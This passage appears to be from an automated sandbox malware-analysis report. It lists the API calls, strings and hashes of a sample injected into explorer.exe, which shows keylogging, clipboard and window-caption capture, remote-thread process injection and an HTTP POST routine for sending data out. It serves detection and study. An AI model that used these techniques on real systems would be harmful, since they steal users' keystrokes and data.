CloseHandle.KERNEL32(00000000), ref: 0008127F
Sleep.KERNELBASE(000003E8), ref: 0008129F

Strings

keylog_rules=, xrefs: 0008110D
%s%s, xrefs: 000810E1
|:|, xrefs: 00081125
microsoftedgecp.exe, xrefs: 00081208
explorer.exe, xrefs: 000811AB

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: FileHeapProcess32lstrcmpi$AllocateCharCloseCreateFirstHandleLowerMappingMemoryMoveNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3018447944-2805246637
Opcode ID: 8618b74207d87235530d0522142eaa1206f961f1ce3d32bd0a57018a044c5dec
Instruction ID: a52374c8d3c32c87d7b7eec75c6ac1f607deb3f7449bc71aaab08c49aa80d9b3
Opcode Fuzzy Hash: 8618b74207d87235530d0522142eaa1206f961f1ce3d32bd0a57018a044c5dec
Instruction Fuzzy Hash: 6F41A1302047019BD714BF649C959BE77EDFF84B50F000628B9D6972E2EF389E068B62

Function 00089AE0 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000088000.00000040.80000000.00040000.00000000.sdmp, Offset: 00088000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_88000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 761afedd686cb8d8ddbda319575de0f1710e3ed48b48c1cc1c0ee351131be086
Instruction ID: 0d37eedbe500ee790c8412a6b65a8675b6b3dcc5f5d5e4945e36827d966a7865
Opcode Fuzzy Hash: 761afedd686cb8d8ddbda319575de0f1710e3ed48b48c1cc1c0ee351131be086
Instruction Fuzzy Hash: 495124B1A446524AD721BA78DD807B5BBE4FB52334B2C0739C5E6CB3C6E7A45806C7A0

Function 0008276D Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 00082777
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,000810FE), ref: 00082789

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: f697b1d04ea33550ba84d640e082f874987e236cd832537d4e05d0301a145ddd
Instruction ID: b6b55214a3d7b72dd5065cc7f6cf5cc5cfe51089837142714a1d2e3023f5fcf5
Opcode Fuzzy Hash: f697b1d04ea33550ba84d640e082f874987e236cd832537d4e05d0301a145ddd
Instruction Fuzzy Hash: 23D01732715231BBE3745A7B6C0CF83AEDDEFC6AE1B010025B94DD2190D6648810C7F0

Function 0008275A Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,?,0008129A,00000001), ref: 0008275E
CloseHandle.KERNELBASE(?), ref: 00082765

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: 8c5060b8b4834943f5dc63203dbdcab3c3850551d53c9b689452f560daeb98f7
Instruction ID: e78c18ebb3f3fe14dbe1de984ec7bdf689ac5a628f3d417fc22d0e2a98b1dd89
Opcode Fuzzy Hash: 8c5060b8b4834943f5dc63203dbdcab3c3850551d53c9b689452f560daeb98f7
Instruction Fuzzy Hash: 7AB0123241503097E32427347C1C9DB3E18FFC96213050144F54D810104B2C0A018FE8

Function 00082A09 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,000810BF), ref: 00082A0C
RtlAllocateHeap.NTDLL(00000000), ref: 00082A13

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 6f12a9a4d3fd0b48daed3c74c3a73a850d67d067b2b8cc6d9cc29207745153cb
Instruction ID: 854f13ea7621927148a9a8b2bf7c264aaceb780fcb2716b8a169ac4b90289c09
Opcode Fuzzy Hash: 6f12a9a4d3fd0b48daed3c74c3a73a850d67d067b2b8cc6d9cc29207745153cb
Instruction Fuzzy Hash: 0CA002B16501006BFD4457E4DD1DF157658B7C4F01F4045447286C50509D7955449F21

Non-executed Functions

Function 000818BF Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00082724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,000829F3,-00000001,0008128C), ref: 00082731

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000000,00000001), ref: 000818F4
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 0008192F
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 000819BF
RtlMoveMemory.NTDLL(00000000,00083638,00000016), ref: 000819E6
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 00081A0E
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 00081A1E
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00081A38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 00081A40
CloseHandle.KERNEL32(00000000), ref: 00081A4E
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00081A55
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00081A6B
GetProcAddress.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00081A72
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00081A88
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00081AB2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00081AC5
CloseHandle.KERNEL32(00000000), ref: 00081ACC
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00081AD3
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00081AE7
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00081AFE
CloseHandle.KERNEL32(00000000), ref: 00081B0B
CloseHandle.KERNEL32(?), ref: 00081B11
CloseHandle.KERNEL32(?), ref: 00081B17
CloseHandle.KERNEL32(00000000), ref: 00081B1A

Strings

opera_shared_counter, xrefs: 00081A31
atan, xrefs: 00081A61
ntdll, xrefs: 00081A66

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$ntdll$opera_shared_counter
API String ID: 1066286714-2737717697
Opcode ID: 36e689c70820efb820419eec2dab6d64e40f633ab622aee628fcb010377c2343
Instruction ID: 174d13c8333c33db2c366c6690c673af472261b50b6cc6d7832f0528390f2b82
Opcode Fuzzy Hash: 36e689c70820efb820419eec2dab6d64e40f633ab622aee628fcb010377c2343
Instruction Fuzzy Hash: D6614B71204205AFE710EF65DC94EABBBECFF88B54F000519F98997291DB74DE058BA2

Function 00082799 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 000827B5
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 000827CD
lstrlen.KERNEL32(?,00000000), ref: 000827D5
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 000827E0
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 000827FA
wsprintfA.USER32 ref: 00082811
CryptDestroyHash.ADVAPI32(?), ref: 0008282A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00082834

Strings

%02X, xrefs: 0008280B

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: fafac3b923be732a0fc419871dc0777a5965ddf3f11d93127bce2daa8561b749
Instruction ID: 7af9abcfa44f8fdb20a1014f3b0a0b848b8d4329f526ecb6ba9fbd9c9bd4efaa
Opcode Fuzzy Hash: fafac3b923be732a0fc419871dc0777a5965ddf3f11d93127bce2daa8561b749
Instruction Fuzzy Hash: A3112B71900108BFEB119B95EC98EEEBFBCFB88B11F104065FA45E2150DA754F459B60

Function 0008162B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00081652
ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 0008167A

Strings

, xrefs: 00081699

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: KeyboardStateUnicode
String ID:
API String ID: 3453085656-3916222277
Opcode ID: 1047935c90087d710069a2d22a99efe4102876523e6bfe61ddc0ba0b841e58bd
Instruction ID: 29f38b6ab814598dd83ed5aba00077f139db2babf61fac0e1786dbac03cf2fdc
Opcode Fuzzy Hash: 1047935c90087d710069a2d22a99efe4102876523e6bfe61ddc0ba0b841e58bd
Instruction Fuzzy Hash: 1B0184329006299BEB34EB54DD45BFB73FCBF45B10F08441AE9C1E2151E734D9568BA1

Function 000813AE Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 144
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(00085013,0000001C), ref: 000813C8
VirtualQuery.KERNEL32(000813AE,?,0000001C), ref: 000813DA
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0008140B
GetCurrentProcessId.KERNEL32(00000004), ref: 0008141C
wsprintfA.USER32 ref: 00081433
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00081448
GetLastError.KERNEL32 ref: 0008144E
RtlInitializeCriticalSection.NTDLL(0008582C), ref: 00081465
Sleep.KERNEL32(000001F4), ref: 00081489
GetModuleHandleA.KERNEL32(user32.dll,TranslateMessage), ref: 000814A6
GetProcAddress.KERNEL32(00000000), ref: 000814AF
GetModuleHandleA.KERNEL32(user32.dll,GetClipboardData), ref: 000814D0
GetProcAddress.KERNEL32(00000000), ref: 000814D3
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 000814F1
CreateThread.KERNEL32(00000000,00000000,Function_0000082D,00000000,00000000,00000000), ref: 0008150D
CloseHandle.KERNEL32(00000000), ref: 00081514
RtlExitUserThread.NTDLL(00000000), ref: 0008152A

Strings

GetClipboardData, xrefs: 000814C6
kernel32.dll, xrefs: 000814EC
user32.dll, xrefs: 000814A1, 000814CB
%s%d%d%d, xrefs: 0008142D
TranslateMessage, xrefs: 0008149C

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: HandleModule$AddressCreateProcThread$CloseCriticalCurrentErrorExitFileInitializeLastMemoryMutexNameProcessQuerySectionSleepUserVirtualZerowsprintf
String ID: %s%d%d%d$GetClipboardData$TranslateMessage$kernel32.dll$user32.dll
API String ID: 3628807430-1779906909
Opcode ID: 0d1da8dc0e211480dc30328cac78b55f9fbc3807973028df58c33a94b06f89d9
Instruction ID: 735b7a70de4e956d7122513613398751e416d658d32f83b3185d311b43a817db
Opcode Fuzzy Hash: 0d1da8dc0e211480dc30328cac78b55f9fbc3807973028df58c33a94b06f89d9
Instruction Fuzzy Hash: 7E41B570640B04EBE710BF65EC19E9F3FACFF84B51B004029F6C59A292DB7999018FA1

Function 000816B9 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(0008582C), ref: 000816C4
lstrlenW.KERNEL32 ref: 000816DB
lstrlenW.KERNEL32 ref: 000816F3
wsprintfW.USER32 ref: 00081743
GetForegroundWindow.USER32 ref: 0008174E
GetWindowTextW.USER32(00000000,00085850,00000800), ref: 00081767
GetClassNameW.USER32(00000000,00085850,00000800), ref: 00081774
lstrcmpW.KERNEL32(00085020,00085850), ref: 00081781
lstrcpyW.KERNEL32(00085020,00085850), ref: 0008178D
wsprintfW.USER32 ref: 000817AD
lstrcatW.KERNEL32 ref: 000817C6
RtlLeaveCriticalSection.NTDLL(0008582C), ref: 000817D3

Strings

Clipboard -> , xrefs: 00081730
%s%s%s, xrefs: 00081738
New Window Caption -> , xrefs: 0008179A
%s%s%s%s, xrefs: 000817A2

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: CriticalSectionWindowlstrlenwsprintf$ClassEnterForegroundLeaveNameTextlstrcatlstrcmplstrcpy
String ID: Clipboard -> $ New Window Caption -> $%s%s%s$%s%s%s%s
API String ID: 2651329914-3371406555
Opcode ID: 757df017c9863c0e0ed70b929079f800b9485ac0c02a4dc8e298e1e1eff6aa01
Instruction ID: e106a69ff408d8b0d66b3fc31dadf507e352e016c891a9268a5da8e7baf2df89
Opcode Fuzzy Hash: 757df017c9863c0e0ed70b929079f800b9485ac0c02a4dc8e298e1e1eff6aa01
Instruction Fuzzy Hash: CE21B734544A14ABE7217B25FC89EAF3EBCFF81F56B144028F5C196162DE198D028BF5

Function 000825F1 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00082603
GetCurrentThreadId.KERNEL32 ref: 0008260B
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 0008261B
Thread32First.KERNEL32(00000000,0000001C), ref: 00082629
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 00082648
SuspendThread.KERNEL32(00000000), ref: 00082658
CloseHandle.KERNEL32(00000000), ref: 00082667
Thread32Next.KERNEL32(00000000,0000001C), ref: 00082677
CloseHandle.KERNEL32(00000000), ref: 00082682

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 6c153cda338048d470b88c78b472e7e2587ded5770a804ff46caec27f8830615
Instruction ID: b03dfa3635f73c53ef02778bef4dd97478a1a04b34a9c8620f52957b2d5eb463
Opcode Fuzzy Hash: 6c153cda338048d470b88c78b472e7e2587ded5770a804ff46caec27f8830615
Instruction Fuzzy Hash: 5D117C31404200EFE711AF60AC5CB6EBEA4FF84B05F000529FAC692150E7388A199FA3

Function 000820A1 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00082A09: GetProcessHeap.KERNEL32(00000008,0000A000,000810BF), ref: 00082A0C
Part of subcall function 00082A09: RtlAllocateHeap.NTDLL(00000000), ref: 00082A13

Part of subcall function 0008298A: lstrlen.KERNEL32(00084FE2,?,00000000,00000000,000820DD,75712B62,00084FE2,00000000), ref: 00082992
Part of subcall function 0008298A: MultiByteToWideChar.KERNEL32(00000000,00000000,00084FE2,00000001,00000000,00000000), ref: 000829A4

Part of subcall function 000824CC: RtlZeroMemory.NTDLL(?,00000018), ref: 000824DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 00082139
wsprintfW.USER32 ref: 00082272
wsprintfW.USER32 ref: 000822DD
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 000823A7

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00082301
Accept: */*Referer: %S, xrefs: 00082268
Host: %s, xrefs: 000822D7
POST, xrefs: 00082223

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 5a75ec7aaa5246b68fcf205f19a0b393a975a851f35745c89a23fa9bc14736c6
Instruction ID: eb393b0eeacd80a5bfa002af34c47191fe6bec282c1bd132379949c4154c94d3
Opcode Fuzzy Hash: 5a75ec7aaa5246b68fcf205f19a0b393a975a851f35745c89a23fa9bc14736c6
Instruction Fuzzy Hash: A7A13A71608345AFD750AF68D888A6BBBE9FFC8B40F14082DF5C5D7252DA78DA048B52

Function 000812AE Relevance: 7.6, APIs: 5, Instructions: 93
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829BD: VirtualAlloc.KERNEL32(00000000,00040744,00003000,00000040,000812D9,00000000,00000000,?,00000001), ref: 000829C7

lstrlen.KERNEL32(00000000,00000000,00000000,?,00000001), ref: 000812DC

Part of subcall function 00082A09: GetProcessHeap.KERNEL32(00000008,0000A000,000810BF), ref: 00082A0C
Part of subcall function 00082A09: RtlAllocateHeap.NTDLL(00000000), ref: 00082A13

PathMatchSpecA.SHLWAPI(?,00000000), ref: 0008138A

Part of subcall function 00082841: lstrlen.KERNEL32(00000000,?,?,00000001,00000000,00081119,00000001), ref: 00082850
Part of subcall function 00082841: lstrlen.KERNEL32(keylog_rules=,?,?,00000001,00000000,00081119,00000001), ref: 00082855

RtlZeroMemory.NTDLL(00000000,00000104), ref: 00081316
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00081332

Part of subcall function 00082569: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,0008136E), ref: 00082591
Part of subcall function 00082569: RtlMoveMemory.NTDLL(00000FA4,00000000,00000000), ref: 0008259A

RtlMoveMemory.NTDLL(00000000,?,?), ref: 0008135F

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Memorylstrlen$Move$Heap$AllocAllocateMatchPathProcessSpecVirtualZero
String ID:
API String ID: 2993730741-0
Opcode ID: ebb8da3659380d077a57e1a160ee277981f50641c95accdbe0d8b302bb1cad2b
Instruction ID: d5e7a5d4c6fba1c9ca2a6b0442937c699363d6c36e7367382e75030dee9f6b60
Opcode Fuzzy Hash: ebb8da3659380d077a57e1a160ee277981f50641c95accdbe0d8b302bb1cad2b
Instruction Fuzzy Hash: 5E219C707042129F8714FF2898558BEB7DEBF84B10B10092EF8D2D3242DB74DE0A8B62

Function 00081581 Relevance: 7.6, APIs: 5, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalFix.KERNEL32(00000000), ref: 000815A9
lstrlenW.KERNEL32(00000000), ref: 000815C6
lstrcatW.KERNEL32(00000000,00000000), ref: 000815DC
lstrlenW.KERNEL32(00000000), ref: 00081600
GlobalUnWire.KERNEL32(00000000), ref: 0008161C

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Globallstrlen$Wirelstrcat
String ID:
API String ID: 2993198917-0
Opcode ID: 5f6c21cff03faee5907282101b8d15d9eae0dc33675b0a2edceb466badea6a51
Instruction ID: 788b0c73e6fd266604e91dee9fcfd0ea141b5d47a36d9ac5700182ba7bd2db02
Opcode Fuzzy Hash: 5f6c21cff03faee5907282101b8d15d9eae0dc33675b0a2edceb466badea6a51
Instruction Fuzzy Hash: D5010432A005119B96A577B9ACA85FE72EEFFC6B117080125F8C7E3212EE388D034750

Function 00081BBD Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 00081BF4
LoadLibraryA.KERNEL32(?), ref: 00081C1C
GetProcAddress.KERNEL32(00000000,-00000002,?,?,00000001,?,00000000), ref: 00081C49
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 00081C9A

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: c883a228e3cd8c0f3b6ac679db0de883e7e7543f6decbc1dddab91cca32b2512
Instruction ID: 882ca4903ef036f6b5f5890f1cff92f57d062729b07f76d901994030c3102d93
Opcode Fuzzy Hash: c883a228e3cd8c0f3b6ac679db0de883e7e7543f6decbc1dddab91cca32b2512
Instruction Fuzzy Hash: 8731AF71744616AFCB68DF29D885BA6B7ECBF15314F14412CE8C6C7200E736E846CBA0

Function 0008182D Relevance: 6.0, APIs: 4, Instructions: 42sleepstringCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(0008582C), ref: 00081839
lstrlenW.KERNEL32 ref: 00081845
RtlLeaveCriticalSection.NTDLL(0008582C), ref: 000818A9
Sleep.KERNEL32(00007530), ref: 000818B4

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeaveSleeplstrlen
String ID:
API String ID: 2134730579-0
Opcode ID: 5cbea68060061c901a5a0e18475aadbda6a888a7652cd2638bdcb0b59724cb21
Instruction ID: 7c053be448574412fdc363f5d5491aaf5b64503bb00f6c028054f82ac53ad905
Opcode Fuzzy Hash: 5cbea68060061c901a5a0e18475aadbda6a888a7652cd2638bdcb0b59724cb21
Instruction Fuzzy Hash: 9201DB70510900EBE314B765EC1A5BE3EA9FF817017100028F0C19B262DE388D01DFA6

Function 000826C9 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,00000001,?,00000000,000811DD), ref: 000826DB
IsWow64Process.KERNEL32(000000FF,?), ref: 000826ED
IsWow64Process.KERNEL32(00000000,?), ref: 00082700
CloseHandle.KERNEL32(00000000), ref: 00082716

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: 79b6175c5be02008a79da4eab10be01ab7fd1a4829f266d8b305891cd8ccbd8b
Instruction ID: 630fcc8948f4ad9a4a54ff0f26d7f5e2b88293ccb917313e272e05edaa6f4c2a
Opcode Fuzzy Hash: 79b6175c5be02008a79da4eab10be01ab7fd1a4829f266d8b305891cd8ccbd8b
Instruction Fuzzy Hash: D0F0BE72806218FFAB20DFA1AD888EEBBBCFF05751B10026AE94093140D7358F009BA1

Function 000817DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00082A09: GetProcessHeap.KERNEL32(00000008,0000A000,000810BF), ref: 00082A0C
Part of subcall function 00082A09: RtlAllocateHeap.NTDLL(00000000), ref: 00082A13

GetLocalTime.KERNEL32(?,00000000), ref: 000817F3
wsprintfW.USER32 ref: 0008181D

Strings

[%02d.%02d.%d %02d:%02d:%02d], xrefs: 00081817

Memory Dump Source

Source File: 0000001A.00000002.628322017.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_81000_explorer.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: [%02d.%02d.%d %02d:%02d:%02d]
API String ID: 377395780-613334611
Opcode ID: 5b73c2eba3edcd7b7b3f1df71a82bd217a1d956ed1b7e119d7e59eb5ecba6627
Instruction ID: 471151813494080dcc102fe0f31ea5f83efc4e699d331606ea4c247a43dc96ce
Opcode Fuzzy Hash: 5b73c2eba3edcd7b7b3f1df71a82bd217a1d956ed1b7e119d7e59eb5ecba6627
Instruction Fuzzy Hash: B4F03072900128BADB14ABD99C458FFB2FCFF0CB02B00018AFA81E1181F67C5A50D3B5

Analysis Process: explorer.exePID: 2460, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0006370C Relevance: 1.6, APIs: 1, Instructions: 75
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 0006378C

Memory Dump Source

Source File: 0000001B.00000002.628321277.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_61000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction ID: 6f86dcd5657ea9ef3a129f1321056eeef28fe10e10ecd7700be2daa8a1f1615e
Opcode Fuzzy Hash: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction Fuzzy Hash: 9611C8746069094FFB6CFBB8989D3B533D3FB14312F544029E815C72A2DE398A818740

Function 0006B4A8 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,7473604B), ref: 0006B5A7
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 0006B651
VirtualProtect.KERNELBASE ref: 0006B66F

Memory Dump Source

Source File: 0000001B.00000002.628321277.000000000006A000.00000040.80000000.00040000.00000000.sdmp, Offset: 0006A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_6a000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction ID: de7da5a6e30cfdee21bae1f1aab1ff707d31be70e42097908793e0bf60735bc1
Opcode Fuzzy Hash: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction Fuzzy Hash: C1514772758D1D4BCB24AA7C9C843F8B7D3FB55325B58062AD49BC3285EB58C9C68381

Function 000634C4 Relevance: 3.2, APIs: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00061BF8: OpenFileMappingA.KERNEL32 ref: 00061C0F
Part of subcall function 00061BF8: MapViewOfFile.KERNEL32 ref: 00061C2E

SysFreeMap.PGOCR ref: 000636F7
SleepEx.KERNEL32 ref: 00063701

Memory Dump Source

Source File: 0000001B.00000002.628321277.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

